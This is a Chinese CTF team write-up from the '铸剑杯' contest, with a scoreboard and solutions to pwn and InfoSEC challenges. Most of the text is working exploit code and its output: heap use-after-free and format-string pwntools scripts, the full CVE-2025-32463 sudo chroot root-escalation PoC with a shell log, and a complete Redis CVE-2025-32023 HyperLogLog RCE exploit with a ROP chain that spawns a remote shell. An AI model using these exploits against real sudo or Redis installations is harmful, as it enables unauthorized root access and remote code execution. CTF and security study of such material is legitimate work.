铸剑杯wp

D19f战队 WriteUp

排名

D19f：第10名

排名	战队名称	总分	战队强项	解题数量	一血数量	最新更新
1	L队	4266.05	Pwn	7	0	2025-11-24 22:21:56
2	HASHTEAM	3865.04	Pwn	6	0	2025-11-24 22:12:39
3	DoDoMo	3815.96	Pwn	6	0	2025-11-24 21:55:27
4	Syclover	3806.94	Pwn	6	0	2025-11-24 20:58:22
5	5USn	3489.51	Reverse	4	1	2025-11-24 21:50:16
6	HUBUDOAT	3465.16	InfoSEC	6	0	2025-11-24 22:07:38
7	新疆大学-XXX1队	3435.94	InfoSEC	6	0	2025-11-24 22:04:14
8	HUBUMARS-23	3435.94	Web	6	0	2025-11-24 22:08:14
9	FOTSEC	3423.66	Pwn	5	1	2025-11-24 21:07:44
10	D19f 队	3377.69	Pwn	5	0	2025-11-24 22:26:11

共 21 页 < 1 2 3 4 5 ... 21 >

解题思路

game

我勒个超级玛丽奥

通过第一关即可得到flag

pwn

我不吃牛肉

利用uaf泄露libc

利用bss段上的一个自指指针

```
pwndbg> x /100gx $rebase(0x2020c0) - 0x100
0x55ccbca01fc0: 0x0000000000000000      0x0000000000000000
0x55ccbca01fd0: 0x0000000000000000      0x0000000000000000
0x55ccbca01fe0: 0x0000000000000000      0x0000000000000000
0x55ccbca01ff0: 0x0000000000000000      0x00007fdbdb8592e0
0x55ccbca02000: 0x0000000000201df8      0x00007fdbdbe10168
0x55ccbca02010: 0x00007fdbdbc00f10      0x00007fdbdb8a3540
0x55ccbca02020 <puts@got.plt>:  0x00007fdbdb88e6a0      0x00007fdbdb8956c0
0x55ccbca02030 <read@got.plt>:  0x00007fdbdb916350      0x00007fdbdb83f750
0x55ccbca02040 <srand@got.plt>: 0x00007fdbdb8598e0      0x00007fdbdb8a3180
0x55ccbca02050 <__isoc99_scanf@got.plt>:        0x00007fdbdb88a4e0      0x000055ccbc80
0916
0x55ccbca02060 <rand@got.plt>:  0x00007fdbdb859f70      0x0000000000000000
0x55ccbca02070: 0x000055ccbca02070      0x0000000000000000
0x55ccbca02080 <stdout>:        0x00007fdbdbbe4620      0x0000000000000000
0x55ccbca02090 <stdin>: 0x00007fdbdbbe38e0      0x0000000000000000
0x55ccbca020a0 <stderr>:        0x00007fdbdbbe4540      0x0000000000000000
0x55ccbca020b0: 0x0000000000000000      0x0000000000000000
0x55ccbca020c0: 0x000055ccc7002010      0x000055ccc7002430
0x55ccbca020d0: 0x0000000000000000      0x0000000000000000
0x55ccbca020e0: 0x0000000000000000      0x0000000000000000
0x55ccbca020f0: 0x0000000000000000      0x0000000000000000
0x55ccbca02100: 0x0000000000000000      0x0000000000000000
0x55ccbca02110: 0x0000000000000000      0x0000000000000000
0x55ccbca02120: 0x0000000000000000      0x0000000000000000
0x55ccbca02130: 0x0000000000000000      0x0000000000000000
0x55ccbca02140: 0x0000000000000000      0x0000000000000000
```

和整数溢出搭配可以修改freehook为system

Exp

代码块

```
#!/usr/bin/env python3
'''
    author: Squeasp
    time: 2025-11-24 19:07:31
'''
from pwn import *
from time import sleep
```

```python
filename = "pwn_patched"
libcname = "/home/squeasp/.config/cpwn/pkgs/2.23-0ubuntu11.3/amd64/libc6_2.23-0ubuntu11.3_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 9999
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
context(arch = 'amd64',log_level = 'debug',os = 'linux')
if libcname:
    libc = ELF(libcname)
gs = '''
b *$rebase(0xC3E)
set debug-file-directory /home/squeasp/.config/cpwn/pkgs/2.23-0ubuntu11.3/amd64/libc6-dbg_2.23-0ubuntu11.3_amd64/usr/lib/debug

'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)
#--------------------------------------------------#
r = lambda x:p.recv(x)
rl = lambda:p.recvline(keepends=True)
til = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
suc = lambda x,y:success(x+" -> "+y)
#--------------------------------------------------#
def db() :
    gdb.attach(p)
    pause()

p = start()

# Your exploit here
def add(idx,size):
    sla(b'choice:',b'8')
    sla(b'index:',str(idx).encode())
    sla(b'size:',str(size).encode())
def edit(idx,data):
    sla(b'choice:',b'2')
```

```
    sla(b'index:',str(idx).encode())
    sla(b'length:',str(len(data)).encode())
    sla(b'content:',data)
def show(idx):
    sla(b'choice:',b'1')
    sla(b'index:',str(idx).encode())
def delete(idx):
    sla(b'choice:',b'4')
    sla(b'index:',str(idx).encode())

add(0,0x418) #0
add(1,0x18)  #1
edit(1,b'/bin/sh\x00')
delete(0)
show(0)
til(b'\n')
libc.address = u64(r(6).ljust(8,b'\x00')) - 0x3C4B78
suc("libc.address",hex(libc.address))
pause()
edit(-10,p64(libc.symbols['__free_hook']))
pause()
edit(-10,p64(libc.symbols['system']))
pause()
delete(1)

# show(-21)

p.interactive()
```

NC：113.201.14.253:26215

flag{9dcb2dc97b83a1575c437b61193c5b97}

我最好的初代同事

Bypass略过

格式化字符串，有后门

修改ret地址到后门就行

非栈上，所以构造指针链

代码块

```
#!/usr/bin/env python3
'''
    author: Squeasp
```

```python
    time: 2025-11-24 20:10:01
'''
from pwn import *
from time import sleep
filename = "fmt_patched"
libcname = "/home/squeasp/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6_2.31-0ubuntu9.16_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "113.201.14.253"
port = 12388
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
context(arch = 'amd64',log_level = 'debug',os = 'linux')
if libcname:
    libc = ELF(libcname)
gs = '''
b main
b *$rebase(0x12f8)

'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)
#--------------------------------------------------#
r = lambda x:p.recv(x)
rl = lambda:p.recvline(keepends=True)
til = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
suc = lambda x,y:success(x+" -> "+y)
#--------------------------------------------------#
def db() :
    gdb.attach(p)
    pause()

p = start()

for i in range(5):
    til(b'what\'s ')
    num1 = int(p.recvuntil(b' add ',drop=True))
    num2 = int(p.recvuntil(b'\n',drop=True))
```

```python
    sl(str(num1+num2).encode())

til(b'leave')
sl(b'1')

til(b'Input:')
sl(b'%10$p')
til(b'input:')
stack = int(p.recvuntil(b'\n',drop=True),16)
ret = stack - 0x18
til(b'leave')
sl(b'1')
til(b'Input:')
sl(f'%{ret & 0xff}c%10$hhn')

succes = 0x14E3
til(b'leave')
sl(b'1')

til(b'Input:')
sl(f'%{succes & 0xff}c%14$hhn')

# Your exploit here

p.interactive()
```

InfoSEC

最近还好吗

直接看flag发现权限不够，根据题目描述推测是25年较新的一个提权漏洞，信息搜集到一个CVE-2025-32463，找到博客https://www.freebuf.com/articles/vuls/437488.html
使用博客里的脚本进行提权，发现没有vim和vi，且不能在根目录创建，在/tmp目录尝试成功。touch创建exp脚本。将博客中的脚本输入后按照指定命令提权成功。

```
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
```

```
pwn@ac724cba9343:/tmp$ gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.
 woot1337.c
pwn@ac724cba9343:/tmp$ echo "woot!"
woot!
pwn@ac724cba9343:/tmp$ sudo -R woot woot
root@ac724cba9343:/# ls
bin   dev  flag  lib    media  opt   root  sbin  start.sh  tmp  var
boot  etc  home  lib64  mnt    proc  run   srv   sys       usr
root@ac724cba9343:/# cat flag
flag{3b88e1f896ca2ec66d75eda8ad3dac75}
root@ac724cba9343:/#
```

Redis爱你呦

把题目介绍丢bing中可以找到一个较近的CVE

Microsoft Bing

HyperLogLog实际上是一个具有自定义编码的字符串。在遍历稀疏HLL编

网页 图片 视频 学术 词典 地图 更多

约 8 个结果 自适应缩放

Redis 在 HyperLogLog（HLL）数据结构的操作中存在越界写入漏洞。经过身份验证的攻击者可通过构造特定的恶意字符串，在执行 HLL 相关命令（如PFADD、PFCOUNT、PFMERGE）时触发堆栈或堆内存的越界写入。 内存破坏可能被进一步利用，最终导致远程代码执行（RCE），攻击者可在服务器上执行任意系统命令，完全控制服务器、泄露数据或破坏业务系统。

Redis hyperloglog 远程代码执行漏洞 (CVE-2025-32023)复现研究

cn-sec.com/archives/4235631.html

这是否有帮助?

你可能喜欢的搜索

eventlog analyzer

syslog

log生成

syslog服务器

bdziyi.com
https://vip.bdziyi.com

Redis hyperloglog 远程代码执行漏洞 (CVE-2025-32023)

2010年7月2日 · 漏洞详情： Redis中的HyperLogLog只是另一个带有其自定义编码的字符串。 在稀疏的HLL编码上进行迭代需要添加每个稀疏表示形式的运行长度，这可能会在“int i”中以“ int i”计数的总长 ...

在github查找这个cve

3 results (169 ms)

Sort by: Best match Save

leesh3288/CVE-2025-32023

PoC & Exploit for CVE-2025-32023 / PlaidCTF 2025 "Zerodeo"

Python · 205 · Updated on 7月7日

Star

B1ack4sh/Blackash-CVE-2025-32023

CVE-2025-32023

Python · 4 · Updated on 7月10日

Star

LordBheem/CVE-2025-32023

Exploit for CVE-2025-32023

0 · Updated on 7月10日

Star

第一个有相关题的poc，如下

代码块

```python
#!/usr/bin/env python3

from pwn import *
import redis
import random
import string

HOST, PORT = 'localhost', 6379

binary = ELF('./redis-server')

# client to send redis commands
r = redis.Redis(HOST, PORT)

# client to pop shell
p = remote(HOST, PORT)
p.sendline('client info')
p.recvuntil('fd=')
fd = int(p.recvline().split()[0])
log.info(f'{fd = }')

HLL_DENSE = 0
HLL_SPARSE = 1
HLL_DENSE_SIZE = 0x3010

# make a dense hll, which is just a string with specific encodings
pl = b'HYLL'
pl += p8(HLL_DENSE)
pl = pl.ljust(HLL_DENSE_SIZE, p8(0))
r.set('hll:dense', pl)
# assert that the hll encoding is valid
r.pfadd('hll:dense')

# make a malformed sparse hll, again just a string
def xzero(sz):
  assert 1 <= sz <= 0x4000
  sz -= 1
  return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)

pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
```

```
pl += xzero(0x4000) * 0x3fffd   # -0xc000
pl += xzero(0xc000 - 0x956c)    # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
pl += p8(0b1_00011_00)          # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
pl += xzero(0x156b)             # -0x8000
pl += xzero(0x4000) * 3         # 0x4000
r.set('hll:exp', pl)

# prep 14KiB sds
fakelen = 0x4142434445464748
r.setrange('sds:a', 0x37fa - 11, p64(fakelen))  # sds @ 0x0005, p64() 00 00 00 00
r.setrange('sds:b', 0x37fa - 8, b'B'*8)         # sds @ 0x3805, ................. fa 37 fa 37 02 ~
r.setrange('sds:c', 0x37fa - 8, b'C'*8)         # sds @ 0x7005

# trigger hllMerge + hllSparseToDense
# alloc 0x3010 => round 0x3800 (14KiB)
r.pfmerge('hll:exp', 'hll:dense')                           # sds @ 0xa805

# assert that string type is modified
assert r.strlen('sds:b') == fakelen

# spray embstr objects
marker = ''.join(random.choices(string.ascii_letters + string.digits, k=8)).encode()
log.info(f'{marker = }')
spray_cnt = 0x100000 // 0x40
for i in range(spray_cnt // 0x400):   # batch spray with mset
  ms = {}
  for j in range(0x400):
    idx = i * 0x400 + j
    ms[f'sds:_{idx}'] = (marker+p64(idx)).ljust(0x2b, b' ')
  r.mset(ms)

# dump the heap!
dump = r.getrange('sds:b', 0, 0x100000)[3:]

# egghunt valid embstr object
mark = 0x3700
while mark < len(dump):
  mark = dump.find(marker, mark)
  assert mark != -1
  tofs = mark - 3 - 0x10
  # assert type|encoding, refcount, sdshdr8 fields
```

```
  if dump[tofs] == 0x80 and u32(dump[tofs+4:tofs+8]) == 0x1 and dump[tofs+0x10:tofs+0x13] == b'\x2b\x2b\x01':
    break
  mark += 8
else:
  assert False, '[!] embstr spray egghunt fail'

# target robj
tadr = u64(dump[tofs+8:tofs+0x10]) - 3 - 0x10
tkey = f'sds:_{u64(dump[tofs+3+0x18:tofs+3+0x20])}'
log.success(f'{tofs = :#x} ({tkey = })')
log.success(f'{tadr = :#014x}')

# sds:b header
badr = tadr - tofs - 8
log.info(f'{badr = :#014x}')

# egghunt redis-server base
egg = binary.sym['je_ehooks_default_extent_hooks'] & 0xfff
for i in range(0x10000 - ((badr + 8) & 0xffff), len(dump), 0x10000):
  if u64(dump[i:i+8]) == 0x200000 and (u64(dump[i+0xc8:i+0xd0]) & 0xfff) == egg and (u64(dump[i+0xd8:i+0xe0]) & 0xfff) == egg:
    binary.address = u64(dump[i+0xc8:i+0xd0]) - binary.sym['je_ehooks_default_extent_hooks']
    break
else:
  assert False, '[!] redis-server base egghunt fail'

assert (binary.address & 0xfff) == 0
log.success(f'{binary.address = :#014x}')

# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4]   # type, encoding, lru
pl += p32(1)                          # refcount
pl += p64(badr + 0x10)                # ptr
r.setrange('sds:b', tofs+3, pl)

'''
0x001b9991: mov rax, rdi; mov rsi, [rdi+8]; mov rdi, [rdi]; mov rbp, rsp; call qword ptr [rax+0x10];
0x00226097: mov rbp, rdi; mov esi, 0x10; mov edi, 1; call qword ptr [rax+8];
0x001410ec: leave; ret;
0x002d6706: pop rdi; ret;
0x002d5cfb: pop rsi; ret;
0x000fc472: pop rdx; ret;
'''

```

```python
# fake module value (badr + 0x10)
B = binary.address
PRDI = B+0x002d6706
PRSI = B+0x002d5cfb
PRDX = B+0x000fc472

# badr + 0x10
pl = p64(badr + 0x20 - 7*8)    # mv->type
pl += p64(badr + 0x2010)       # mv->value      (rdi)
pl += p64(B + 0x001b9991)      # mv->type->free (rip), gadget #0
pl = pl.ljust(0x1000, b'\0')

# badr + 0x1010
pl += b'/bin/sh\0'             # 0x1010
pl += p64(badr + 0x1010)       # 0x1018
pl += p64(0)                   # 0x1020
pl = pl.ljust(0x2000, b'\0')

# badr + 0x2010 (=rdi)
pl += p64(badr + 0x2028)       # [rdi], rbp to set
pl += p64(B + 0x001410ec)      # [rax+8], gadget #2
pl += p64(B + 0x00226097)      # [rax+8], gadget #1
pl += p64(0)                   # popped rbp

# ret, ROP starts here
# FD_CLOEXEC is dropped on dup2 newfd
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(0) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(1) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(2) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(badr + 0x1010)
pl += p64(PRSI) + p64(badr + 0x1018)
pl += p64(PRDX) + p64(0)
pl += p64(binary.plt['execve'])

r.setrange('sds:b', 3+8, pl)
r.close()
del r

# trigger module free!
p.sendline(f'set {tkey} 0')
p.interactive()
```

要拿到redis-server才能解，PlaidCTF 2025 Zerodeo下附件有docker文件，可以把redis-server拉出来

```
docker compose up
 => => sha256:927ba88b2847b97d859f9fcafd4cd7fd26e7a08ea9e143054264f90b2750685e 101B / 101B                    3.4s
 => => extracting sha256:16cd0457255f6d3bd69130aa807f19626bf75f6b57d14540e6b28bccf2c14032                    0.0s
 => => extracting sha256:fa05f52343469600fd5774748bf745cd111011037c1dc5f98ecdc339e3a7049d                    0.0s
 => => extracting sha256:4d03bd351ab9702e623972466cfdfa3ec02d39935e5d813a3d64842487ac0d9b                    0.0s
 => => sha256:4f4fb700ef54461cfa02571ae0db9a0dc1e0cdb5577484a6d75e68dc38e8acc1 32B / 32B                     4.1s
 => => sha256:4c7f0522bc7d7f6854d2fb2e7a705591c938b58ae14f9c76f8bef20f012ffe78 573B / 573B                    4.6s
 => => extracting sha256:4738865c5f32f52f960c26646095fd64ed11da01defe1802decfb068c7dc750e                    0.2s
 => => extracting sha256:927ba88b2847b97d859f9fcafd4cd7fd26e7a08ea9e143054264f90b2750685e                    0.0s
 => => extracting sha256:4f4fb700ef54461cfa02571ae0db9a0dc1e0cdb5577484a6d75e68dc38e8acc1                    0.0s
 => => extracting sha256:4c7f0522bc7d7f6854d2fb2e7a705591c938b58ae14f9c76f8bef20f012ffe78                    0.0s
 => [redis 2/3] COPY --chown=root:redis flag /flag                                                           0.1s
 => [redis 3/3] RUN chmod 440 /flag &&     mv /flag /flag_$(sha256sum /flag | awk '{print $1}')              0.2s
 => [redis] exporting to image                                                                               0.0s
 => => exporting layers                                                                                      0.0s
 => => writing image sha256:f68a76862835a86cb83389747490b90e66834dfeb245faba1a3f400c6e894df1                 0.0s
 => => naming to docker.io/library/dist-redis                                                                0.0s
 => [redis] resolving provenance for metadata file                                                           0.0s
[+] Running 3/3
 ✔ redis                    Built                                                                           0.0s
 ✔ Network dist_default     Created                                                                         0.1s
 ✔ Container dist-redis-1   Created                                                                         0.0s
Attaching to redis-1
redis-1  | 1:C 24 Nov 2025 15:01:28.117 # WARNING Memory overcommit must be enabled! Without it, a background save or re
plication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition,
see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.co
nf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
redis-1  | 1:C 24 Nov 2025 15:01:28.117 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
redis-1  | 1:C 24 Nov 2025 15:01:28.117 * Redis version=7.4.2, bits=64, commit=00000000, modified=0, pid=1, just started
redis-1  | 1:C 24 Nov 2025 15:01:28.117 * Configuration loaded
redis-1  | 1:M 24 Nov 2025 15:01:28.117 * monotonic clock: POSIX clock_gettime
redis-1  | 1:M 24 Nov 2025 15:01:28.118 * Running mode=standalone, port=6379.
redis-1  | 1:M 24 Nov 2025 15:01:28.118 * Server initialized
redis-1  | 1:M 24 Nov 2025 15:01:28.118 * Ready to accept connections tcp
```

```
/ # which redis-server
/usr/local/bin/redis-server
/ #
```

然后直接跑exp就行，有概率失败，要重启容器再打一遍

```
> python3 solver-.py
[*] '/home/squeasp/ctf/zjb/3/redis-server'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    Stripped: No
    Debuginfo: Yes
[+] Opening connection to 113.201.14.253 on port 23913: Done
/home/squeasp/ctf/zjb/3/solver-.py:17: BytesWarning: Text is not bytes; assuming ASCII
, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline('client info')
/home/squeasp/ctf/zjb/3/solver-.py:18: BytesWarning: Text is not bytes; assuming ASCII
, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil('fd=')
[*] fd = 9
[*] marker = b'u51DiKzm'
[+] tofs = 0xeff8 (tkey = 'sds:_15846')
[+] tadr = 0x7fe28a58c000
[*] badr = 0x7fe28a57d000
[+] binary.address = 0x562af89c8000
/home/squeasp/ctf/zjb/3/solver-.py:167: BytesWarning: Text is not bytes; assuming ASCI
I, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(f'set {tkey} 0')
[*] Switching to interactive mode

$ ls
flag
$ catc flag
/bin/sh: catc: not found
$ cat flag
flag{a8c43d9f775a69ea73a34e82744e9a2a}
[*] Got EOF while reading in interactive
$
```